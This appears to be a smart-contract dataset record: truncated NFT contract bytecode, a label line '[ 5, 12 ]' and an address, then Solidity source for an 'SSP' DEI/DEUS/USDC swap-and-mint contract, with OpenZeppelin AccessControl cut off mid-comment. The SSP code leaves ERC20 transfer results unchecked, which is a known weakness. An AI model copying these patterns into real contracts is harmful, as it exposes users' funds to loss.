896366004612812565b6119b4565b60006001600160e01b0319821663780e9d6360e01b14806108c057506108c082611a5e565b92915050565b6060600080546108d590612df4565b80601f016020809104026020016040519081016040528092919081815260200182805461090190612df4565b801561094e5780601f106109235761010080835404028352916020019161094e565b820191906000526020600020905b81548152906001019060200180831161093157829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166109d65760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600d80546109ff90612df4565b80601f0160208091040260200160405190810160405280929190818152602001828054610a2b90612df4565b8015610a785780601f10610a4d57610100808354040283529160200191610a78565b820191906000526020600020905b815481529060010190602001808311610a5b57829003601f168201915b505050505081565b6000610a8b8261109e565b9050806001600160a01b0316836001600160a01b03161415610af95760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016109cd565b336001600160a01b0382161480610b155750610b15813361082d565b610b875760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016109cd565b610b918383611aae565b505050565b600a546001600160a01b03163314610bc05760405162461bcd60e51b81526004016109cd90612ce0565b6011805462ff0000191662010000831515908102919091179091556040517fb87a1df64f87172740bd3178e59f4f73c355513d23d63b5564de61aee114aa9290600090a250565b610c113382611b1c565b610c2d5760405162461bcd60e51b81526004016109cd90612d15565b610b91838383611c13565b600a546001600160a01b03163314610c625760405162461bcd60e51b81526004016109cd90612ce0565b601081905560405181907f6daef69a156c7c3b9ec343e0674241870f6a382e9c14572087006db1e6f14a1490600090a250565b6000610ca083611194565b8210610d025760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b60648201526084016109cd565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b03163314610d555760405162461bcd60e51b81526004016109cd90612ce0565b6000610d69600a546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d8060008114610db3576040519150601f19603f3d011682016040523d82523d6000602084013e610db8565b606091505b5050905080610dc657600080fd5b801515610ddb600a546001600160a01b031690565b6001600160a01b03167f8fa61615c95c274ebb59d516240ee2b27b95e575156362aabff2866b0a0665f960405160405180910390a350565b600a546001600160a01b03163314610e3d5760405162461bcd60e51b81526004016109cd90612ce0565b610e45611dba565b565b610b91838383604051806020016040528060008152506115fc565b60606000610e6f83611194565b905060008167ffffffffffffffff811115610e9a57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610ec3578160200160208202803683370190505b50905060005b82811015610f1857610edb8582610c95565b828281518110610efb57634e487b7160e01b600052603260045260246000fd5b602090810291909101015280610f1081612e2f565b915050610ec9565b509392505050565b600a546001600160a01b03163314610f4a5760405162461bcd60e51b81526004016109cd90612ce0565b600e81905560405181907fd85f0a05440e3f289cb8a2e632d649b6877dfb96400c33ab6f58880b8c6ca5ae90600090a250565b6000610f8860085490565b8210610feb5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b60648201526084016109cd565b6008828154811061100c57634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050919050565b600a546001600160a01b031633146110485760405162461bcd60e51b81526004016109cd90612ce0565b805161105b90600b9060208401906126c6565b50600b60405161106b9190612bee565b604051908190038120907f23c8c9488efebfd474e85a7956de6f39b17c7ab88502d42a623db2d8e382bbaa90600090a250565b6000818152600260205260408120546001600160a01b0316806108c05760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016109cd565b600a546001600160a01b0316331461113f5760405162461bcd60e51b81526004016109cd90612ce0565b6011805460ff191660ff83169081179091556040519081527f5732271424dc633bd989c8b2a9060bbee3c541c80400d135e1e1bf63933a9b899060200160405180910390a150565b600b80546109ff90612df4565b60006001600160a01b0382166111ff5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016109cd565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b031633146112455760405162461bcd60e51b81526004016109cd90612ce0565b610e456000611e57565b600a546001600160a01b031633146112795760405162461bcd60e51b81526004016109cd90612ce0565b600f81905560405181907f7d36f765ce8a3e4d58208021c6c9fb6e3b3ea8875032647e7119e26e2d3e024990600090a250565b600a546001600160a01b031633146112d65760405162461bcd60e51b81526004016109cd90612ce0565b610e45611ea9565b6060600180546108d590612df4565b600a54600160a01b900460ff161561133a5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016109cd565b600061134560085490565b9050600082116113865760405162461bcd60e51b815260206004820152600c60248201526b1b9bdb880c08185b5bdd5b9d60a21b60448201526064016109cd565b600f548211156113d85760405162461bcd60e51b815260206004820152601b60248201527f6d6178206d696e7420616d6f756e74207065722073657373696f6e000000000060448201526064016109cd565b6110686113e58383612d66565b11156114285760405162461bcd60e51b8152602060048201526012602482015271139195081b1a5b5a5d08195e18d95959195960721b60448201526064016109cd565b600a546001600160a01b03163314611573573360009081526012602052604090205460115460ff90811691161480611468575060115462010000900460ff165b6114b45760405162461bcd60e51b815260206004820152601760248201527f796f7520617265206e6f74206f6e20746865206c69737400000000000000000060448201526064016109cd565b336000908152601360205260409020546010546114d18483612d66565b111561151f5760405162461bcd60e51b815260206004820152601860248201527f4e4654207065722061646472657373206578636565646564000000000000000060448201526064016109cd565b82600e5461152d9190612d92565b3410156115715760405162461bcd60e51b8152602060048201526012602482015271696e73756666696369656e742066756e647360701b60448201526064016109cd565b505b61157d8282611f31565b5050565b61157d338383611f81565b600a546001600160a01b031633146115b65760405162461bcd60e51b81526004016109cd90612ce0565b6011805461ff00191661010090811791829055604051910460ff161515907f311b8ddb573d97ab5a5590f8484e2573d2b1795203685605ba21e27cd69a389490600090a2565b6116063383611b1c565b6116225760405162461bcd60e51b81526004016109cd90612d15565b61162e84848484612050565b50505050565b600c80546109ff90612df4565b6000818152600260205260409020546060906001600160a01b03166116c05760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016109cd565b601154610100900460ff1661176157600d80546116dc90612df4565b80601f016020809104026020016040519081016040528092919081815260200182805461170890612df4565b80156117555780601f1061172a57610100808354040283529160200191611755565b820191906000526020600020905b81548152906001019060200180831161173857829003601f168201915b50505050509050919050565b600061176b612083565b9050600081511161178b57604051806020016040528060008152506117b9565b8061179584612092565b600c6040516020016117a993929190612bb1565b6040516020818303038152906040525b9392505050565b600a546001600160a01b031633146117ea5760405162461bcd60e51b81526004016109cd90612ce0565b60005b8281101561186a57816012600086868581811061181a57634e487b7160e01b600052603260045260246000fd5b905060200201602081019061182f9190612812565b6001600160a01b031681526020810191909152604001600020805460ff191660ff9290921691909117905561186381612e2f565b90506117ed565b508060ff16838360405161187f929190612b71565b604051908190038120907fc12b7f101a817c85a49be8f5a6e40c2a56c28ff3285f86ac0a20ca69123e167f90600090a3505050565b600a546001600160a01b031633146118de5760405162461bcd60e51b81526004016109cd90612ce0565b80516118f190600c9060208401906126c6565b50600c6040516119019190612bee565b604051908190038120907fd9b20c8335d4761379271fe6330283e9fd01a6bc95d50fc9c0d064cba461ce9f90600090a250565b600a546001600160a01b0316331461195e5760405162461bcd60e51b81526004016109cd90612ce0565b805161197190600d9060208401906126c6565b50600d6040516119819190612bee565b604051908190038120907f5d56ac0382511446bc8e8a1802b9b329846f30e54399cafa0cb6a7b8392ea80090600090a250565b600a546001600160a01b031633146119de5760405162461bcd60e51b81526004016109cd90612ce0565b6001600160a01b038116611a435760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109cd565b611a4c81611e57565b50565b6001600160a01b03163b151590565b60006001600160e01b031982166380ac58cd60e01b1480611a8f57506001600160e01b03198216635b5e139f60e01b145b806108c057506301ffc9a760e01b6001600160e01b03198316146108c0565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190611ae38261109e565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b0316611b955760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016109cd565b6000611ba08361109e565b9050806001600160a01b0316846001600160a01b03161480611bdb5750836001600160a01b0316611bd084610958565b6001600160a01b0316145b80611c0b57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611c268261109e565b6001600160a01b031614611c8a5760405162461bcd60e51b815260206004820152602560248201527f4552433732313a207472616e736665722066726f6d20696e636f72726563742060448201526437bbb732b960d91b60648201526084016109cd565b6001600160a01b038216611cec5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016109cd565b611cf78383836121ac565b611d02600082611aae565b6001600160a01b0383166000908152600360205260408120805460019290611d2b908490612db1565b90915550506001600160a01b0382166000908152600360205260408120805460019290611d59908490612d66565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a54600160a01b900460ff16611e0a5760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b60448201526064016109cd565b600a805460ff60a01b191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600a54600160a01b900460ff1615611ef65760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016109cd565b600a805460ff60a01b1916600160a01b1790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258611e3a3390565b60015b828111610b9157336000908152601360205260408120805491611f5683612e2f565b90915550611f6f905033611f6a8385612d66565b612264565b80611f7981612e2f565b915050611f34565b816001600160a01b0316836001600160a01b03161415611fe35760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016109cd565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b61205b848484611c13565b6120678484848461227e565b61162e5760405162461bcd60e51b81526004016109cd90612c8e565b6060600b80546108d590612df4565b6060816120b65750506040805180820190915260018152600360fc1b602082015290565b8160005b81156120e057806120ca81612e2f565b91506120d99050600a83612d7e565b91506120ba565b60008167ffffffffffffffff81111561210957634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015612133576020820181803683370190505b5090505b8415611c0b57612148600183612db1565b9150612155600a86612e4a565b612160906030612d66565b60f81b81838151811061218357634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053506121a5600a86612d7e565b9450612137565b6001600160a01b0383166122075761220281600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b61222a565b816001600160a01b0316836001600160a01b03161461222a5761222a838261238b565b6001600160a01b03821661224157610b9181612428565b826001600160a01b0316826001600160a01b031614610b9157610b918282612501565b61157d828260405180602001604052806000815250612545565b60006001600160a01b0384163b1561238057604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906122c2903390899088908890600401612bfa565b602060405180830381600087803b1580156122dc57600080fd5b505af192505050801561230c575060408051601f3d908101601f1916820190925261230991810190612a19565b60015b612366573d80801561233a576040519150601f19603f3d011682016040523d82523d6000602084013e61233f565b606091505b50805161235e5760405162461bcd60e51b81526004016109cd90612c8e565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611c0b565b506001949350505050565b6000600161239884611194565b6123a29190612db1565b6000838152600760205260409020549091508082146123f5576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b60085460009061243a90600190612db1565b6000838152600960205260408120546008805493945090928490811061247057634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050806008838154811061249f57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101929092558281526009909152604080822084905585825281205560088054806124e557634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b600061250c83611194565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b61254f8383612578565b61255c600084848461227e565b610b915760405162461bcd60e51b81526004016109cd90612c8e565b6001600160a01b0382166125ce5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016109cd565b6000818152600260205260409020546001600160a01b0316156126335760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016109cd565b61263f600083836121ac565b6001600160a01b0382166000908152600360205260408120805460019290612668908490612d66565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b8280546126d290612df4565b90600052602060002090601f0160209004810192826126f4576000855561273a565b82601f1061270d57805160ff191683800117855561273a565b8280016001018555821561273a579182015b8281111561273a57825182559160200191906001019061271f565b5061274692915061274a565b5090565b5b80821115612746576000815560010161274b565b600067ffffffffffffffff8084111561277a5761277a612e8a565b604051601f8501601f19908116603f011681019082821181831017156127a2576127a2612e8a565b816040528093508581528686860111156127bb57600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b03811681146127ec57600080fd5b919050565b803580151581146127ec57600080fd5b803560ff811681146127ec57600080fd5b600060208284031215612823578081fd5b6117b9826127d5565b6000806040838503121561283e578081fd5b612847836127d5565b9150612855602084016127d5565b90509250929050565b600080600060608486031215612872578081fd5b61287b846127d5565b9250612889602085016127d5565b9150604084013590509250925092565b600080600080608085870312156128ae578081fd5b6128b7856127d5565b93506128c5602086016127d5565b925060408501359150606085013567ffffffffffffffff8111156128e7578182fd5b8501601f810187136128f7578182fd5b6129068782356020840161275f565b91505092959194509250565b60008060408385031215612924578182fd5b61292d836127d5565b9150612855602084016127f1565b6000806040838503121561294d578182fd5b612956836127d5565b946020939093013593505050565b600080600060408486031215612978578283fd5b833567ffffffffffffffff8082111561298f578485fd5b818601915086601f8301126129a2578485fd5b8135818111156129b0578586fd5b8760208260051b85010111156129c4578586fd5b6020928301955093506129da9186019050612801565b90509250925092565b6000602082840312156129f4578081fd5b6117b9826127f1565b600060208284031215612a0e578081fd5b81356117b981612ea0565b600060208284031215612a2a578081fd5b81516117b981612ea0565b600060208284031215612a46578081fd5b813567ffffffffffffffff811115612a5c578182fd5b8201601f81018413612a6c578182fd5b611c0b8482356020840161275f565b600060208284031215612a8c578081fd5b5035919050565b600060208284031215612aa4578081fd5b6117b982612801565b60008151808452612ac5816020860160208601612dc8565b601f01601f19169290920160200192915050565b8054600090600181811c9080831680612af357607f831692505b6020808410821415612b1357634e487b7160e01b86526022600452602486fd5b818015612b275760018114612b3857612b65565b60ff19861689528489019650612b65565b60008881526020902060005b86811015612b5d5781548b820152908501908301612b44565b505084890196505b50505050505092915050565b60008184825b85811015612ba6576001600160a01b03612b90836127d5565b1683526020928301929190910190600101612b77565b509095945050505050565b60008451612bc3818460208901612dc8565b845190830190612bd7818360208901612dc8565b612be381830186612ad9565b979650505050505050565b60006117b98284612ad9565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612c2d90830184612aad565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b81811015612c6f57835183529284019291840191600101612c53565b50909695505050505050565b6020815260006117b96020830184612aad565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b60008219821115612d7957612d79612e5e565b500190565b600082612d8d57612d8d612e74565b500490565b6000816000190483118215151615612dac57612dac612e5e565b500290565b600082821015612dc357612dc3612e5e565b500390565b60005b83811015612de3578181015183820152602001612dcb565b8381111561162e5750506000910152565b600181811c90821680612e0857607f821691505b60208210811415612e2957634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612e4357612e43612e5e565b5060010190565b600082612e5957612e59612e74565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114611a4c57600080fdfea26469706673582212208be8c876b8a6da927265ed01f504bed2c8e2f0bf69739d7b996e1e9d98e6ab2864736f6c63430008040033
[ 5, 12 ]
0xF1C20CfE324BeF9eA77fde21F36Bc5D2184a1874
// SPDX-License-Identifier: MIT pragma solidity 0.8.9; pragma abicoder v2; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IDEIPool { function mintFractionalDEI( uint256 collateral_amount, uint256 deus_amount, uint256 collateral_price, uint256 deus_current_price, uint256 expireBlock, bytes[] calldata sigs ) external; } interface IDEIStablecoin { function global_collateral_ratio() external view returns (uint256); } interface IUniswapV2Router02 { function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function getAmountsOut( uint amountIn, address[] memory path ) external view returns (uint[] memory amounts); } contract SSP is AccessControl { bytes32 public constant TRUSTY_ROLE = keccak256("TRUSTY_ROLE"); bytes32 public constant SWAPPER_ROLE = keccak256("SWAPPER_ROLE"); bytes32 public constant SETTER_ROLE = keccak256("SETTER_ROLE"); bytes32 public constant OPERATOR_ROLE = keccak256("OPERATOR_ROLE"); struct ProxyInput { uint256 collateral_price; uint256 deus_price; uint256 expire_block; uint min_amount_out; bytes[] sigs; } /* ========== STATE VARIABLES ========== */ address public dei_address; address public usdc_address; address public deus_address; address public dei_pool; address public uniswap_router; address[] public usdc2deus_path; address[] public dei2deus_path; address[] public dei2usdc_path; address[] public usdc2dei_path; uint public while_times; uint public usdc_scale = 1e6; uint public ratio; uint public error_rate= 1e14; uint public fee = 1e16; uint public fee_scale = 1e18; uint public scale = 1e6; // scale for price uint public usdc_missing_decimals_d18 = 1e12; // missing decimal of collateral token uint public deadline = 0xf000000000000000000000000000000000000000000000000000000000000000; /* ========== CONSTRUCTOR ========== */ constructor( address _dei_address, address _usdc_address, address _deus_address, address _dei_pool, address _uniswap_router, address[] memory _usdc2deus_path, address[] memory _dei2usdc_path, address[] memory _usdc2dei_path, address[] memory _dei2deus_path, address swapper_address, address trusty_address ) { dei_address = _dei_address; usdc_address = _usdc_address; deus_address = _deus_address; dei_pool = _dei_pool; uniswap_router = _uniswap_router; usdc2deus_path = _usdc2deus_path; dei2usdc_path = _dei2usdc_path; usdc2dei_path = _usdc2dei_path; dei2deus_path = _dei2deus_path; while_times = 2; IERC20(usdc_address).approve(_uniswap_router, type(uint256).max); IERC20(dei_address).approve(_uniswap_router, type(uint256).max); IERC20(usdc_address).approve(_dei_pool, type(uint256).max); IERC20(deus_address).approve(_dei_pool, type(uint256).max); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); grantRole(SWAPPER_ROLE, swapper_address); grantRole(TRUSTY_ROLE, trusty_address); } /////////////////////////////////////////////////////////////////////////////////////////////////////////// function swapUsdcForExactDei(uint deiNeededAmount) external { require(hasRole(SWAPPER_ROLE, msg.sender), "Caller is not a swapper"); uint usdcAmount = getAmountIn(deiNeededAmount); IERC20(usdc_address).transferFrom(msg.sender, address(this), usdcAmount); IERC20(dei_address).transfer(msg.sender, deiNeededAmount); } function getAmountIn(uint deiNeededAmount) public view returns (uint usdcAmount) { uint usdc_amount = deiNeededAmount * fee_scale / ((fee_scale - fee) * usdc_missing_decimals_d18); return usdc_amount; } /////////////////////////////////////////////////////////////////////////////////////////////////////////// function usdcToDeus(uint usdc_amount) internal returns(uint) { uint min_amount_deus = calcUsdcToDeus(usdc_amount); uint dei_amount = usdc_amount * ratio / (usdc_scale - ratio); uint[] memory deus_arr = IUniswapV2Router02(uniswap_router).swapExactTokensForTokens(dei_amount, min_amount_deus, dei2deus_path, msg.sender, deadline); return deus_arr[deus_arr.length - 1]; } function calcUsdcToDeus(uint usdc_amount) public view returns(uint){ uint dei_amount = usdc_amount * ratio / (usdc_scale - ratio); uint[] memory amount_out =IUniswapV2Router02(uniswap_router).getAmountsOut(dei_amount, dei2deus_path); return amount_out[amount_out.length -1]; } function setwhileTimes(uint _while_times) external { require(hasRole(SETTER_ROLE, msg.sender), "Caller is not a setter"); while_times = _while_times; } function setScale(uint _scale) external { require(hasRole(SETTER_ROLE, msg.sender), "Caller is not a setter"); scale = _scale; } function setFee(uint _fee) external { require(hasRole(SETTER_ROLE, msg.sender), "Caller is not a setter"); fee = _fee; } function setFeeScale(uint _fee_scale) external { require(hasRole(SETTER_ROLE, msg.sender), "Caller is not a setter"); fee_scale = _fee_scale; } function setRatio(uint _ratio) external { require(hasRole(SETTER_ROLE, msg.sender), "Caller is not a setter"); ratio = _ratio; } function setErrorRate(uint _error_rate) external { require(hasRole(SETTER_ROLE, msg.sender), "Caller is not a setter"); error_rate = _error_rate; } function refill(ProxyInput memory proxy_input, uint usdc_amount, uint excess_deus) public { require(hasRole(OPERATOR_ROLE, msg.sender), "Caller is not a operator"); uint collateral_ratio = IDEIStablecoin(dei_address).global_collateral_ratio(); require(collateral_ratio > 0 && collateral_ratio < scale, "collateral ratio is not valid"); uint usdc_to_dei = getAmountsInUsdcToDei(collateral_ratio, usdc_amount, proxy_input.deus_price); uint usdc_to_deus = (usdc_to_dei * (scale - collateral_ratio) / collateral_ratio) + excess_deus; // usdc to deus uint min_amount_deus = getAmountsOutUsdcToDeus(usdc_to_deus); uint[] memory deus_arr = IUniswapV2Router02(uniswap_router).swapExactTokensForTokens(usdc_to_deus, min_amount_deus, usdc2deus_path, address(this), deadline); uint deus = deus_arr[deus_arr.length - 1]; // usdc , deus to dei IDEIPool(dei_pool).mintFractionalDEI( usdc_to_dei, deus, proxy_input.collateral_price, proxy_input.deus_price, proxy_input.expire_block, proxy_input.sigs ); // fix arbitrage uint[] memory usdc_arr = IUniswapV2Router02(uniswap_router).swapTokensForExactTokens(usdc_to_deus, type(uint256).max , dei2usdc_path, address(this), deadline); uint usdc_earned = usdc_arr[usdc_arr.length - 1]; emit Mint(usdc_to_dei,deus,usdc_earned); } function getAmountsInUsdcToDei(uint collateral_ratio, uint usdc_amount, uint deus_price) public view returns(uint) { uint usdc_to_dei; uint times = while_times; while(times > 0) { uint usdc_for_swap = usdc_amount * collateral_ratio / scale; uint usdc_given_to_pairs = usdc_amount - usdc_for_swap; uint deus_amount = getAmountsOutUsdcToDeus(usdc_given_to_pairs); uint deus_to_usdc = (deus_amount * deus_price) / (scale * usdc_missing_decimals_d18); uint usdc_needed = collateral_ratio * deus_to_usdc / (scale - collateral_ratio); usdc_to_dei += usdc_needed; usdc_amount -= usdc_given_to_pairs + usdc_needed; times -= 1; } return usdc_to_dei; } function getAmountsOutUsdcToDeus(uint usdc_amount) public view returns(uint) { uint[] memory amount_out =IUniswapV2Router02(uniswap_router).getAmountsOut(usdc_amount, usdc2deus_path); return amount_out[amount_out.length -1]; } function emergencyWithdrawERC20(address token, address to, uint amount) external { require(hasRole(TRUSTY_ROLE, msg.sender), "Caller is not a trusty"); IERC20(token).transfer(to, amount); } function emergencyWithdrawETH(address recv, uint amount) external { require(hasRole(TRUSTY_ROLE, msg.sender), "Caller is not a trusty"); payable(recv).transfer(amount); } event Mint(uint usdc_to_dei, uint deus, uint usdc_earned); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. 